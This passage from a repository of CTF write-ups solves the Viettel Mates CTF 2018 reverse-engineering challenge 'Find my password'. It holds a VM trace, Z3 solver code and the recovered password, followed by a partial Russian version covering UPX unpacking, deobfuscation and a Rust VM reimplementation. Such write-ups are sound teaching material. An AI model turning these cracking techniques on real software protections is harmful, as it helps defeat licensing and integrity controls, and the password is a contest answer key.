873 | 0D 03 2D REG3 ^= 45 ; REG3 = 0 ^ 45 = 45 874 | 05 02 07 REG2 = PASS[7] ; PASS[7] = 0 875 | 0A 02 03 01 0C if REG2 == REG3: eip += 1 ; 0 == 45 ; not taken 876 | 877 | 07 02 41 REG2 -= 65 ; REG2 = 0 - 65 = 191 878 | 05 01 08 REG1 = PASS[8] ; PASS[8] = 0 879 | 0A 01 02 01 0C if REG1 == REG2: eip += 1 ; 0 == 191 ; not taken 880 | 881 | 08 01 36 REG1 += 54 ; REG1 = 0 + 54 = 54 882 | 05 00 09 REG0 = PASS[9] ; PASS[9] = 0 883 | 0A 00 01 01 0C if REG0 == REG1: eip += 1 ; 0 == 54 ; not taken 884 | 885 | 08 00 01 REG0 += 1 ; REG0 = 0 + 1 = 1 886 | 05 01 0A REG1 = PASS[10] ; PASS[10] = 0 887 | 0A 00 01 01 0C if REG0 == REG1: eip += 1 ; 1 == 0 ; not taken 888 | 889 | 0D 01 1C REG1 ^= 28 ; REG1 = 0 ^ 28 = 28 890 | 05 00 0B REG0 = PASS[11] ; PASS[11] = 0 891 | 0A 00 01 01 0C if REG0 == REG1: eip += 1 ; 0 == 28 ; not taken 892 | 893 | 0D 00 74 REG0 ^= 116 ; REG0 = 0 ^ 116 = 116 894 | 05 01 0C REG1 = PASS[12] ; PASS[12] = 0 895 | 0A 00 01 01 0C if REG0 == REG1: eip += 1 ; 116 == 0 ; not taken 896 | 897 | 04 03 00 REG3 = 0 898 | 0A 03 01 01 0C if REG3 == REG1: eip += 1 ; 0 == 0 ; taken 899 | 900 | 02 03 REG3 = memory[11] ; memory[11] = 60 901 | 08 03 06 REG3 += 6 ; REG3 = 60 + 6 = 66 902 | 05 02 00 REG2 = PASS[0] ; PASS[0] = 0 903 | 0A 03 02 01 0C if REG3 == REG2: eip += 1 ; 66 == 0 ; not taken 904 | 905 | 04 00 01 REG0 = 1 906 | 06 15 00 PASS[21] = REG0 ; REG0 = 1 907 | ``` 908 | 909 | After analysis of disasm we can notice such equations (or may not notice `¯\_(ツ)_/¯`): 910 | 911 | ``` 912 | PASS[0] ^ 99 == 16 913 | PASS[1] + 60 == PASS[2] 914 | (PASS[3] + 7) ^ 27 == PASS[4] 915 | PASS[4] ^ 95 == PASS[5] 916 | PASS[5] + 44 == PASS[6] 917 | PASS[6] ^ 45 == PASS[7] 918 | PASS[7] - 65 == PASS[8] 919 | PASS[8] + 54 == PASS[9] 920 | PASS[9] + 1 == PASS[10] 921 | PASS[10] ^ 28 == PASS[11] 922 | PASS[11] ^ 116 == PASS[12] 923 | PASS[1] + 66 == PASS[0] 924 | ``` 925 | 926 | For solving this equation we will use Z3 SMT solver with python binding: 927 | 928 | ```python 929 | from z3 import * 930 | s = Solver() 931 | 932 | x0, x1, x2, x3, x4, x5, x6, x7, x8, x9, x10, x11, x12 = BitVecs("x0 x1 x2 x3 x4 x5 x6 x7 x8 x9 x10 x11 x12", 8) 933 | 934 | s.add( x0 >= 0x20, x0 < 0x7f, x1 >= 0x20, x1 < 0x7f, x2 >= 0x20, x2 < 0x7f, x3 >= 0x20, x3 < 0x7f ) 935 | s.add( x4 >= 0x20, x4 < 0x7f, x5 >= 0x20, x5 < 0x7f, x6 >= 0x20, x6 < 0x7f, x7 >= 0x20, x7 < 0x7f ) 936 | s.add( x8 >= 0x20, x8 < 0x7f, x9 >= 0x20, x9 < 0x7f, x10 >= 0x20, x10 < 0x7f, x11 >= 0x20, x11 < 0x7f ) 937 | s.add( x12 == 0 ) # printable ASCII range 938 | 939 | s.add( x0 ^ 99 == 16 ) 940 | s.add( x1 + 60 == x2 ) 941 | s.add( (x3 + 7) ^ 27 == x4 ) 942 | s.add( x4 ^ 95 == x5 ) 943 | s.add( x5 + 44 == x6 ) 944 | s.add( x6 ^ 45 == x7 ) 945 | s.add( x7 - 65 == x8 ) 946 | s.add( x8 + 54 == x9 ) 947 | s.add( x9 + 1 == x10 ) 948 | s.add( x10 ^ 28 == x11 ) 949 | s.add( x11 ^ 116 == x12 ) 950 | s.add( x1 + 66 == x0 ) 951 | 952 | while s.check() == sat: 953 | r = s.model() # result 954 | _x0, _x1, _x2, _x3, _x4 = r[x0].as_long(), r[x1].as_long(), r[x2].as_long(), r[x3].as_long(), r[x4].as_long() 955 | _x5, _x6, _x7, _x8, _x9 = r[x5].as_long(), r[x6].as_long(), r[x7].as_long(), r[x8].as_long(), r[x9].as_long() 956 | _x10, _x11, _x12 = r[x10].as_long(), r[x11].as_long(), r[x12].as_long() 957 | 958 | print chr(_x0) + chr(_x1) + chr(_x2) + chr(_x3) + chr(_x4) + chr(_x5) + chr(_x6) + chr(_x7) + chr(_x8) + chr(_x9) + chr(_x10) + chr(_x11) + chr(_x12) 959 | 960 | s.add(Or( x0 != _x0, x1 != _x1, x2 != _x2, x3 != _x3, x4 != _x4, x5 != _x5, x6 != _x6, x7 != _x7, x8 != _x8, x9 != _x9, x10 != _x10, x11 != _x11, x12 != _x12 )) # anticollision 961 | ``` 962 | ```sh 963 | PS C:\Users\PC\Desktop> python sol.py 964 | s1mpl3_r1ght 965 | ``` 966 | 967 | Trying to enter this password: 968 | 969 | ![We win!!!](we_win.png) 970 | 971 | That's all - program is happy and we too: we defeated a simple VM with a simple obfuscation) 972 | 973 | PS: you can congratulate me on graduation, now I'm not a schoolboy :D 974 | -------------------------------------------------------------------------------- /Viettel_Mates_CTF_2018/find_my_password_ru.md: -------------------------------------------------------------------------------- 1 | # [ENGLISH WRITEUP](find_my_password.md) 2 | # Началось лето, закончилась школа - `наступило время для игр! :D` 3 | Недавно был `Viettel Mates CTF 2018` в котором из-за лени я не учавствовал, но решил посмотреть несколько тасков. 4 | 5 | Мне понравился `Find my password`, таск с категории реверс: 6 | 7 | ``` 8 | I have set a very strong password. Can you find it ? 9 | 10 | [Binary here](https://drive.google.com/open?id=1RioCBfPAR-THYyuVMAgXzRx3UAXyStZf) 11 | ``` 12 | 13 | Итак, приступим! 14 | 15 | ## Первичный анализ 16 | 17 | Первым делом закинем файлик в DIE([Detect It Easy](http://ntinfo.biz)) - он нам говорит что это 32битный PE бинарь, накрытый UPX’ом. 18 | 19 | ![DIE Result](DIE_result.png) 20 | 21 | Пробуем расспаковать самим же юпыхом `upx -d find_my_password.exe` и всё прекрасно расспаковывается. 22 | 23 | ![UPX Unpacked](UPX_unpacked.png) 24 | 25 | Пробуем запустить расспакованый файл - получаем креш. Загружаем в отладчик: ага, ASLR, [отключаем его](https://will.io/blog/2013/05/31/disable-aslr/), всё работает - у нас запрашивают пароль, двигаемся дальше. 26 | 27 | ![Normal Run](normal_run.png) 28 | 29 | Загружаем в ваш любимый дизассемблер(radare2, cutter, IDA, binary ninja - а я буду юзать иду), после анализа видим что у нас что-то смахивающее на ВМ. 30 | 31 | Так оно и есть! После анализа и восстановления структур(в чём нам помогли [HexRaysPyTools](https://github.com/igogo-x86/HexRaysPyTools) и [HexRaysCodeXplorer](https://github.com/REhints/HexRaysCodeXplorer)) видно, что у нашей ВМ 4 однобайтовые регистры, 255 байт памяти ВМ, 172 байта пикода(0x0423488-0x0423533): 32 | ```C 33 | struct vm_ctx 34 | { 35 | char vm_memory_255[255]; // память vm 36 | char password[255]; // буфер для пароля 37 | short gap_2_1FE; // gap, не юзается нигде 38 | int pcode_size; // размер пикода 39 | char *pcode; // указатель на пикод 40 | char REGS[4]; // массив с регистрами 41 | int _EIP; // указатель на место в пикоде 42 | int mem_idx; // указатель на место в памяти ВМ 43 | enum STATUS_E VM_STATUS; // используется для текущего состояния исполнения инструкции ВМ 44 | }; 45 | 46 | enum STATUS_E 47 | { 48 | VM_NO_OPCODE = 0x1, // нет такого опкода, ВМ останавливается 49 | VM_REG_IDX_OVERFLOW = 0x2, // индекс регистра >= 4, ВМ останавливается 50 | VM_CONTINUE = 0x3, // всё ок, переходим к следующей инструкции 51 | VM_MAX_EIP = 0x4, // конец пикода, ВМ останавливается 52 | VM_WIN = 0x5, // или мы победили, или проиграли, ВМ останавливается 53 | }; 54 | ``` 55 | и главная функция по адресу 0x0417C40 с 14 хендлерами, которая немного обфусцирована. 56 | 57 | За счёт обфускации ида не может сделать функцию, что бы можно было б декомпильнуть код, и сократить время анализа. Но ведь для нас это не проблема ;) 58 | 59 | Вкратце ВМ работает так: инициализируется сама ВМ - регистры, память, указатели, счетчики, потом инициализируетя пикод, считывается пароль, копируется в память виртуалки, дальше основной цикл ВМ(в котором поштучно исполняются инструкции), и если после него `vm_ctx->password[21] = 1;` значит мы победили. 60 | 61 | Тоже самое, только кодом, а не словами :D 62 | ```C 63 | void wmain(void) 64 | { 65 | enum VM_STATUS_E error; // ST0C_4 66 | bool win_byte; // al MAPDST 67 | int *stdout; // eax MAPDST 68 | char password[20]; // [esp+0h] [ebp-238h] 69 | vm_ctx vm_ctx; // [esp+18h] [ebp-220h] 70 | 71 | write(&g_stdout, "Welcome to matesctf challenge!\n"); 72 | f_init_vm(&vm_ctx); 73 | if (f_init_pcode(&vm_ctx, g_pcode, 172)) 74 | { 75 | write(&g_stdout, "Password:"); 76 | memset(password, 0, 0x14u); 77 | read(&g_stdin, password); 78 | f_init_pass_in_vm(&vm_ctx, password); 79 | if (f_vm_main(&vm_ctx) == 1) 80 | { 81 | write(&g_stdout, "...\n"); 82 | win_byte = f_ret_win_byte(&vm_ctx); 83 | if (win_byte == TRUE) 84 | { 85 | write(&g_stdout, "Nice! you found it!\n"); 86 | stdout = write(&g_stdout, "Your flag is: matesctf{"); 87 | stdout = write(stdout, password); 88 | write(stdout, "}\n"); 89 | } 90 | else 91 | { 92 | write(&g_stdout, "No sorry. It's wrong.\n"); 93 | } 94 | system("pause"); 95 | } 96 | else 97 | { 98 | error = f_ret_error(&vm_ctx); 99 | write(&g_stdout, "...Err Code:"); 100 | f_write_error(error); 101 | } 102 | } 103 | else 104 | { 105 | write(&g_stdout, "Failed to load VM code! ;)\n"); 106 | } 107 | } 108 | 109 | bool __thiscall f_init_vm(vm_ctx *vm_ctx) 110 | { 111 | signed int i; // [esp+4h] [ebp-4h] 112 | 113 | for (i = 0; i <= 4; ++i) 114 | vm_ctx->REGS[i] = 0; 115 | vm_ctx->_EIP = 0; 116 | vm_ctx->mem_idx = 10; 117 | vm_ctx->pcode_size = 0; 118 | vm_ctx->pcode = 0; 119 | memset(vm_ctx->password, 0, 0xFFu); 120 | return TRUE; 121 | } 122 | 123 | bool __thiscall f_init_pcode(vm_ctx *vm_ctx, char *pcode, signed int pcode_size) 124 | { 125 | if (pcode_size > 255) 126 | return FALSE; 127 | vm_ctx->pcode = pcode; 128 | vm_ctx->pcode_size = pcode_size; 129 | return TRUE; 130 | } 131 | 132 | bool __thiscall f_init_pass_in_vm(vm_ctx *vm_ctx, char *password) 133 | { 134 | _f_init_pass_in_vm(vm_ctx, password, 0, 0x14u); 135 | return TRUE; 136 | } 137 | 138 | bool __thiscall _f_init_pass_in_vm(vm_ctx *vm_ctx, char *password, char idx_zero, size_t size) 139 | { 140 | memcpy(&vm_ctx->password[idx_zero], password, size); 141 | return TRUE; 142 | } 143 | 144 | bool __thiscall f_vm_main(vm_ctx *vm_ctx) 145 | { 146 | for (vm_ctx->VM_STATUS = VM_CONTINUE; vm_ctx->VM_STATUS == VM_CONTINUE; vm_ctx->VM_STATUS = VM_MAIN(vm_ctx)) 147 | ; 148 | return vm_ctx->VM_STATUS == VM_WIN; 149 | } 150 | 151 | bool __thiscall f_ret_win_byte(vm_ctx *this) 152 | { 153 | bool win_byte; // [esp+7h] [ebp-1h] 154 | 155 | _f_ret_win_byte(this, &win_byte, 21, 1u); 156 | return win_byte; 157 | } 158 | 159 | bool __thiscall _f_ret_win_byte(vm_ctx *vm_ctx, void *dst, bool idx_21, size_t size) 160 | { 161 | memcpy(dst, &vm_ctx->password[idx_21], size); 162 | return TRUE; 163 | } 164 | 165 | enum VM_STATUS_E __thiscall f_ret_error(vm_ctx *vm_ctx) 166 | { 167 | return vm_ctx->VM_STATUS; 168 | } 169 | ``` 170 | 171 | Теперь чуть более интересно - деобфускация VM_MAIN и разбор хендлеров. 172 | 173 | ## Деобфускация 174 | 175 | Обфускация у нас простенькая, несколько opaque predicate, да несколько мелких трюков вроде такого: 176 | ```x86asm 177 | .text:004181F9 js short loc_4181FF ; хотя бы один из этих jmp'ов всегда выполнится 178 | .text:004181FB jns short loc_4181FF ; ибо получается условие типа `if (false || true) then jmp` 179 | .text:004181FD jmp short near ptr loc_41820A+1 180 | ``` 181 | ```x86asm 182 | .text:00417C9B push eax ; push -> pop == nop 183 | .text:00417C9C jz short fake_pop_eax ; opaque predicate, part1 184 | .text:00417C9E pop eax ; push -> pop == nop 185 | .text:00417C9F jnz short real_code ; opaque predicate, part2 186 | .text:00417CA1 pusha ; сюда мы не попадаем никогда 187 | .text:00417CA2 movsb 188 | .text:00417CA3 mov dl, 0FCh 189 | .text:00417CA5 mov eax, 0F63780DDh 190 | .text:00417CA5 ; --------------------------------------------------------------------------- 191 | .text:00417CAA db 67h, 1Ch 192 | .text:00417CAC ; --------------------------------------------------------------------------- 193 | .text:00417CAC 194 | .text:00417CAC fake_pop_eax: 195 | .text:00417CAC pop eax ; push -> pop == nop 196 | .text:00417CAD 197 | .text:00417CAD real_code: 198 | .text:00417CAD movsx eax, byte ptr [ebp-3] ; реальный код 199 | ``` 200 | ```x86asm 201 | .text:00418272 push eax 202 | .text:00418273 call inc_ret_addr ; тоже самое что и jmp 0x0418279 203 | .text:00418278 push ecx ; по этому этот код никогда не исполнится 204 | .text:00418279 js short fake_pop_then_real_code ; opaque predicate, part1 205 | .text:0041827B mov eax, 0CC316234h ; мусор, за счёт push eax -> pop eax 206 | .text:00418280 jns short fake_pop_then_real_code ; opaque predicate, part2 207 | .text:00418280 ; --------------------------------------------------------------------------- 208 | .text:00418282 db 0DCh 209 | .text:00418283 ; --------------------------------------------------------------------------- 210 | .text:00418283 211 | .text:00418283 inc_ret_addr: 212 | .text:00418283 pop eax 213 | .text:00418284 inc eax 214 | .text:00418285 push eax 215 | .text:00418286 retn 216 | .text:00418286 ; --------------------------------------------------------------------------- 217 | .text:00418287 db 0DCh 218 | .text:00418288 ; --------------------------------------------------------------------------- 219 | .text:00418288 220 | .text:00418288 fake_pop_then_real_code: 221 | .text:00418288 ; .text:00418280↑j 222 | .text:00418288 pop eax ; push -> pop == nop 223 | .text:00418289 movsx ecx, byte ptr [ebp-3] ; реальный код 224 | ``` 225 | 226 | Сколько раз сталкиваюсь с такой простенькой обфускацией на ЦТФ'ах - всё никак не придумаю как автоматизировать деобфускацию, иногда прокатывает [optimice](https://code.google.com/archive/p/optimice/)(не работает в иде 7.x), иногда только ручкам. 227 | 228 | Тут будем комбинировать эти способы - для этого воспользуемся патчером для иды - [keypatch](https://github.com/keystone-engine/keypatch) для нопа мусорных инструкций, а потом optimice для оптимизации функции и её CFG(уберёт лишние nop'ы и jmp'ы, за счёт чего будет красивый граф функции). 229 | 230 | ## Разбор хендлеров 231 | 232 | И так, обфускацию убрали, всё лишнее занопили, можем декомпильнуть функцию в иде - разбираем хендлеры. У нас их как уже было сказано - 14 штук. 233 | Декомпиль выдаёт нам такой код: 234 | ```C 235 | STATUS_E __thiscall VM_MAIN(vm_ctx *vm_ctx) 236 | { 237 | STATUS_E result; // eax 238 | char byte_0; // ST19_1 239 | char byte_1; // ST19_1 MAPDST 240 | char *pcode; // [esp+14h] [ebp-8h] 241 | char REG_1; // [esp+19h] [ebp-3h] MAPDST 242 | char REG_2; // [esp+1Bh] [ebp-1h] MAPDST 243 | 244 | if (vm_ctx->_EIP >= vm_ctx->pcode_size) 245 | return 4; 246 | pcode = vm_ctx->pcode; 247 | byte_0 = pcode[vm_ctx->_EIP++]; 248 | switch (byte_0) 249 | { 250 | case 0: 251 | byte_1 = pcode[vm_ctx->_EIP++]; 252 | vm_ctx->vm_memory_255[++vm_ctx->mem_idx] = byte_1; 253 | goto ret_CONTINUE; 254 | 255 | case 1: 256 | REG_1 = pcode[vm_ctx->_EIP++]; 257 | if (REG_1 > 4) 258 | return VM_REG_IDX_OVERFLOW; 259 | vm_ctx->vm_memory_255[++vm_ctx->mem_idx] = vm_ctx->REGS[REG_1]; 260 | goto ret_CONTINUE; 261 | 262 | case 2: 263 | REG_1 = pcode[vm_ctx->_EIP++]; 264 | if (REG_1 > 4) 265 | return VM_REG_IDX_OVERFLOW; 266 | vm_ctx->REGS[REG_1] = vm_ctx->vm_memory_255[vm_ctx->mem_idx--]; 267 | goto ret_CONTINUE; 268 | 269 | case 3: 270 | REG_1 = pcode[vm_ctx->_EIP++]; 271 | REG_2 = pcode[vm_ctx->_EIP++]; 272 | if (REG_1 > 4 || REG_2 > 4) 273 | return VM_REG_IDX_OVERFLOW; 274 | vm_ctx->REGS[REG_1] = vm_ctx->REGS[REG_2]; 275 | goto ret_CONTINUE; 276 | 277 | case 4: 278 | REG_1 = pcode[vm_ctx->_EIP++]; 279 | if (REG_1 > 4) 280 | return VM_REG_IDX_OVERFLOW; 281 | byte_1 = pcode[vm_ctx->_EIP++]; 282 | vm_ctx->REGS[REG_1] = byte_1; 283 | goto ret_CONTINUE; 284 | 285 | case 5: 286 | REG_1 = pcode[vm_ctx->_EIP++]; 287 | if (REG_1 > 4) 288 | return VM_REG_IDX_OVERFLOW; 289 | byte_1 = pcode[vm_ctx->_EIP++]; 290 | vm_ctx->REGS[REG_1] = vm_ctx->password[byte_1]; 291 | goto ret_CONTINUE; 292 | 293 | case 6: 294 | REG_1 = pcode[vm_ctx->_EIP++]; 295 | REG_2 = pcode[vm_ctx->_EIP++]; 296 | if (REG_2 > 4) 297 | return VM_REG_IDX_OVERFLOW; 298 | vm_ctx->password[REG_1] = vm_ctx->REGS[REG_2]; 299 | goto ret_CONTINUE; 300 | 301 | case 7: 302 | REG_1 = pcode[vm_ctx->_EIP++]; 303 | if (REG_1 > 4) 304 | return VM_REG_IDX_OVERFLOW; 305 | byte_1 = pcode[vm_ctx->_EIP++]; 306 | vm_ctx->REGS[REG_1] -= byte_1; 307 | goto ret_CONTINUE; 308 | 309 | case 8: 310 | REG_1 = pcode[vm_ctx->_EIP++]; 311 | if (REG_1 > 4) 312 | return VM_REG_IDX_OVERFLOW; 313 | byte_1 = pcode[vm_ctx->_EIP++]; 314 | vm_ctx->REGS[REG_1] += byte_1; 315 | goto ret_CONTINUE; 316 | 317 | case 9: 318 | ++vm_ctx->_EIP; 319 | goto ret_CONTINUE; 320 | 321 | case 10: 322 | REG_1 = pcode[vm_ctx->_EIP++]; 323 | REG_2 = pcode[vm_ctx->_EIP++]; 324 | byte_1 = pcode[vm_ctx->_EIP++]; 325 | if (REG_1 > 4 || REG_2 > 4) 326 | return VM_REG_IDX_OVERFLOW; 327 | if (vm_ctx->REGS[REG_1] == vm_ctx->REGS[REG_2]) 328 | vm_ctx->_EIP += byte_1; 329 | goto ret_CONTINUE; 330 | 331 | case 11: 332 | byte_1 = pcode[vm_ctx->_EIP++]; 333 | vm_ctx->_EIP += byte_1; 334 | goto ret_CONTINUE; 335 | 336 | case 12: 337 | ++vm_ctx->_EIP; 338 | return VM_WIN; 339 | 340 | case 13: 341 | REG_1 = pcode[vm_ctx->_EIP++]; 342 | if (REG_1 <= 4) 343 | { 344 | byte_1 = pcode[vm_ctx->_EIP++]; 345 | vm_ctx->REGS[REG_1] ^= byte_1; 346 | ret_CONTINUE: 347 | result = VM_CONTINUE; 348 | } 349 | else 350 | { 351 | result = VM_REG_IDX_OVERFLOW; 352 | } 353 | break; 354 | 355 | default: 356 | return VM_NO_OPCODE; 357 | } 358 | return result; 359 | } 360 | ``` 361 | 362 | Хорошо читаемый и легкопонятный код, и вместо такого 363 | ```x86asm 364 | .text:0041838C HANDLERS_TABLE dd offset loc_417CC8 ; jump table for switch statement 365 | .text:0041838C dd offset loc_417D1B 366 | .text:0041838C dd offset loc_417D8C 367 | .text:0041838C dd offset loc_417DFD 368 | .text:0041838C dd offset loc_417E88 369 | .text:0041838C dd offset loc_417F11 370 | .text:0041838C dd offset loc_417F93 371 | .text:0041838C dd offset loc_418015 372 | .text:0041838C dd offset loc_41809E 373 | .text:0041838C dd offset loc_418127 374 | .text:0041838C dd offset loc_418141 375 | .text:0041838C dd offset loc_41824B 376 | .text:0041838C dd offset loc_4182A4 377 | .text:0041838C dd offset loc_4182C3 378 | ``` 379 | 380 | После разбора получаем такое :) 381 | 382 | Где MEM - байт из памяти вм, BYTE - байт из пикода, REG - регистр, PASS - байт из пароля. 383 | ```x86asm 384 | .text:0041838C HANDLERS_TABLE dd offset MOV_MEM_BYTE ; jump table for switch statement 385 | .text:0041838C dd offset MOV_MEM_REG 386 | .text:0041838C dd offset MOV_REG_MEM 387 | .text:0041838C dd offset MOV_REG_REG 388 | .text:0041838C dd offset MOV_REG_BYTE 389 | .text:0041838C dd offset MOV_REG_PASS 390 | .text:0041838C dd offset MOV_PASS_REG 391 | .text:0041838C dd offset SUB_REG_BYTE 392 | .text:0041838C dd offset ADD_REG_BYTE 393 | .text:0041838C dd offset NOP 394 | .text:0041838C dd offset JMP_IF_REGa_EQ_REGb 395 | .text:0041838C dd offset JMP_EIP_plus_BYTE 396 | .text:0041838C dd offset WIN 397 | .text:0041838C dd offset XOR_REG_BYTE 398 | ``` 399 | 400 | Теперь уже хотя бы немного можно себе представить что происходит в ВМ. 401 | 402 | ## Пишем дизассемблер пикода на Rust 403 | ЦТФ давно закончился, времени у нас много, по этому я решил попрактиковаться в новом для меня(месяц на нём) и очень крутом языке - Rust. 404 | 405 | Переписываем код VM_MAIN на Rust и попутно добавляя дизассемблирование инструкций и чуть отсебятины(можно запустить на https://play.rust-lang.org): 406 | ```rust 407 | use std::io; 408 | 409 | fn main() { 410 | println!("Welcome to matesctf challenge!\n(Reversed and rewritten from C++ to Rust by Kosbeg)"); 411 | 412 | let mut need_disasm = true; 413 | let mut disasm_as_pseudocode = true; 414 | 415 | println!("Do you want to disasm execution trace? Yes by default. (y\\n)"); 416 | let mut flg = "".to_string(); 417 | 418 | match io::stdin().read_line(&mut flg) { 419 | Ok(_ok) => { 420 | flg = flg.trim().to_string(); 421 | flg = if flg.is_empty() { "y".to_string() } else { flg } 422 | } 423 | Err(_err) => flg = "y".to_string(), 424 | } 425 | 426 | let byte = flg.as_bytes()[0]; 427 | if byte == b'n' || byte == b'N' { 428 | need_disasm = false; 429 | } else { 430 | println!("Do you want to disasm as pseudocode? Yes by default. (y\\n)"); 431 | 432 | let mut flg = "".to_string(); 433 | 434 | match io::stdin().read_line(&mut flg) { 435 | Ok(_ok) => { 436 | flg = flg.trim().to_string(); 437 | flg = if flg.is_empty() { "y".to_string() } else { flg } 438 | } 439 | Err(_err) => flg = "y".to_string(), 440 | } 441 | 442 | let byte = flg.as_bytes()[0]; 443 | if byte == b'n' || byte == b'N' { 444 | disasm_as_pseudocode = false; 445 | } 446 | } 447 | 448 | let pcode = vec![ 449 | 0x00, 0x10, 0x02, 0x00, 0x05, 0x01, 0x00, 0x0D, 0x01, 0x63, 0x0A, 0x00, 0x01, 0x01, 0x0C, 450 | 0x05, 0x00, 0x01, 0x08, 0x00, 0x45, 0x07, 0x00, 0x09, 0x05, 0x01, 0x02, 0x0A, 0x00, 0x01, 451 | 0x01, 0x0C, 0x01, 0x00, 0x05, 0x00, 0x03, 0x0B, 0x03, 0x00, 0x03, 0x08, 0x08, 0x00, 0x07, 452 | 0x0D, 0x00, 0x1B, 0x05, 0x01, 0x04, 0x0A, 0x00, 0x01, 0x01, 0x0C, 0x0D, 0x01, 0x5F, 0x05, 453 | 0x02, 0x05, 0x0A, 0x01, 0x02, 0x01, 0x0C, 0x08, 0x02, 0x2C, 0x05, 0x03, 0x06, 0x0A, 0x02, 454 | 0x03, 0x01, 0x0C, 0x0D, 0x03, 0x2D, 0x05, 0x02, 0x07, 0x0A, 0x02, 0x03, 0x01, 0x0C, 0x07, 455 | 0x02, 0x41, 0x05, 0x01, 0x08, 0x0A, 0x01, 0x02, 0x01, 0x0C, 0x08, 0x01, 0x36, 0x05, 0x00, 456 | 0x09, 0x0A, 0x00, 0x01, 0x01, 0x0C, 0x08, 0x00, 0x01, 0x05, 0x01, 0x0A, 0x0A, 0x00, 0x01, 457 | 0x01, 0x0C, 0x0D, 0x01, 0x1C, 0x05, 0x00, 0x0B, 0x0A, 0x00, 0x01, 0x01, 0x0C, 0x0D, 0x00, 458 | 0x74, 0x05, 0x01, 0x0C, 0x0A, 0x00, 0x01, 0x01, 0x0C, 0x04, 0x03, 0x00, 0x0A, 0x03, 0x01, 459 | 0x01, 0x0C, 0x02, 0x03, 0x08, 0x03, 0x06, 0x05, 0x02, 0x00, 0x0A, 0x03, 0x02, 0x01, 0x0C, 460 | 0x04, 0x00, 0x01, 0x06, 0x15, 0x00, 0x0C, 461 | ]; // pcode: .data:00423488..=0x0423533 462 | 463 | let mut password: [u8; 255] = [0; 255]; // password and IS_WIN_BYTE(pass[21]) buffer 464 | 465 | println!("Password:"); 466 | let mut password_s = "".to_string(); 467 | io::stdin().read_line(&mut password_s).unwrap(); 468 | password_s = password_s.trim().to_string(); // read password from user 469 | 470 | password[..password_s.len()].clone_from_slice(&password_s.as_bytes()[..password_s.len()]); // copy password to buffer 471 | 472 | // println!("{:?}", password.to_vec()); // debug 473 | 474 | println!(); 475 | 476 | let mut vm_memory_255: [u8; 255] = [0; 255]; // vm_memory 477 | let mut memory_idx: u8 = 10; 478 | let mut regs: [u8; 4] = [0; 4]; // registers array 479 | 480 | let mut eip: u8 = 0; // pcode index 481 | let (mut byte_0, mut byte_1, mut reg_1, mut reg_2, mut last_eip): (u8, u8, u8, u8, u8); // tmp variables 482 | 483 | let mut mnem_str = "".to_string(); // mnemonic string 484 | 485 | let mut need_break: bool = false; 486 | let mut flag_is_eq: bool = false; 487 | 488 | loop { 489 | last_eip = eip; 490 | byte_0 = pcode[eip as usize]; 491 | eip += 1; 492 | 493 | match OPCODE::from_u8(byte_0) { 494 | MOV_MEM_BYTE => { 495 | byte_1 = pcode[eip as usize]; 496 | eip += 1; 497 | memory_idx += 1; 498 | vm_memory_255[memory_idx as usize] = byte_1; 499 | 500 | if disasm_as_pseudocode { 501 | mnem_str = format!("memory[{}] = {}", memory_idx, byte_1); 502 | } else { 503 | mnem_str = format!("mov memory[{}], {}", memory_idx, byte_1); 504 | } 505 | } 506 | 507 | MOV_MEM_REG => { 508 | reg_1 = pcode[eip as usize]; 509 | eip += 1; 510 | memory_idx += 1; 511 | vm_memory_255[memory_idx as usize] = regs[reg_1 as usize]; 512 | 513 | if disasm_as_pseudocode { 514 | mnem_str = format!( 515 | "memory[{}] = REG{}\t\t; REG{1} = {}", 516 | memory_idx, reg_1, regs[reg_1 as usize] 517 | ); 518 | } else { 519 | mnem_str = format!( 520 | "mov memory[{}], REG{}\t\t; REG{1} = {}", 521 | memory_idx, reg_1, regs[reg_1 as usize] 522 | ); 523 | } 524 | } 525 | 526 | MOV_REG_MEM => { 527 | reg_1 = pcode[eip as usize]; 528 | eip += 1; 529 | regs[reg_1 as usize] = vm_memory_255[memory_idx as usize]; 530 | memory_idx -= 1; 531 | 532 | if disasm_as_pseudocode { 533 | mnem_str = format!( 534 | "REG{} = memory[{}]\t\t; memory[{1}] = {}", 535 | reg_1, 536 | memory_idx + 1, 537 | regs[reg_1 as usize] 538 | ); 539 | } else { 540 | mnem_str = format!( 541 | "mov REG{}, memory[{}]\t\t; memory[{1}] = {}", 542 | reg_1, 543 | memory_idx + 1, 544 | regs[reg_1 as usize] 545 | ); 546 | } 547 | } 548 | 549 | MOV_REG_REG => { 550 | reg_1 = pcode[eip as usize]; 551 | eip += 1; 552 | 553 | reg_2 = pcode[eip as usize]; 554 | eip += 1; 555 | 556 | regs[reg_1 as usize] = regs[reg_2 as usize]; 557 | 558 | if disasm_as_pseudocode { 559 | mnem_str = format!( 560 | "REG{} = REG{}\t\t; REG{1} = {}", 561 | reg_1, reg_2, regs[reg_2 as usize] 562 | ); 563 | } else { 564 | mnem_str = format!( 565 | "mov REG{}, REG{}\t\t; REG{1} = {}", 566 | reg_1, reg_2, regs[reg_2 as usize] 567 | ); 568 | } 569 | } 570 | 571 | MOV_REG_BYTE => { 572 | reg_1 = pcode[eip as usize]; 573 | eip += 1; 574 | 575 | byte_1 = pcode[eip as usize]; 576 | eip += 1; 577 | 578 | regs[reg_1 as usize] = byte_1; 579 | 580 | if disasm_as_pseudocode { 581 | mnem_str = format!("REG{} = {}", reg_1, byte_1); 582 | } else { 583 | mnem_str = format!("mov REG{}, {}", reg_1, byte_1); 584 | } 585 | } 586 | 587 | MOV_REG_PASS => { 588 | reg_1 = pcode[eip as usize]; 589 | eip += 1; 590 | 591 | byte_1 = pcode[eip as usize]; 592 | eip += 1; 593 | 594 | regs[reg_1 as usize] = password[byte_1 as usize]; 595 | 596 | if disasm_as_pseudocode { 597 | mnem_str = format!( 598 | "REG{} = PASS[{}]\t\t\t; PASS[{1}] = {}", 599 | reg_1, byte_1, password[byte_1 as usize] 600 | ); 601 | } else { 602 | mnem_str = format!( 603 | "mov REG{}, PASS[{}]\t\t; PASS[{1}] = {}", 604 | reg_1, byte_1, password[byte_1 as usize] 605 | ); 606 | } 607 | } 608 | 609 | MOV_PASS_REG => { 610 | byte_1 = pcode[eip as usize]; 611 | eip += 1; 612 | 613 | reg_1 = pcode[eip as usize]; 614 | eip += 1; 615 | 616 | password[byte_1 as usize] = regs[reg_1 as usize]; 617 | 618 | if disasm_as_pseudocode { 619 | mnem_str = format!( 620 | "PASS[{}] = REG{}\t\t\t; REG{1} = {}", 621 | byte_1, reg_1, regs[reg_1 as usize] 622 | ); 623 | } else { 624 | mnem_str = format!( 625 | "mov PASS[{}], REG{}\t\t; REG{1} = {}", 626 | 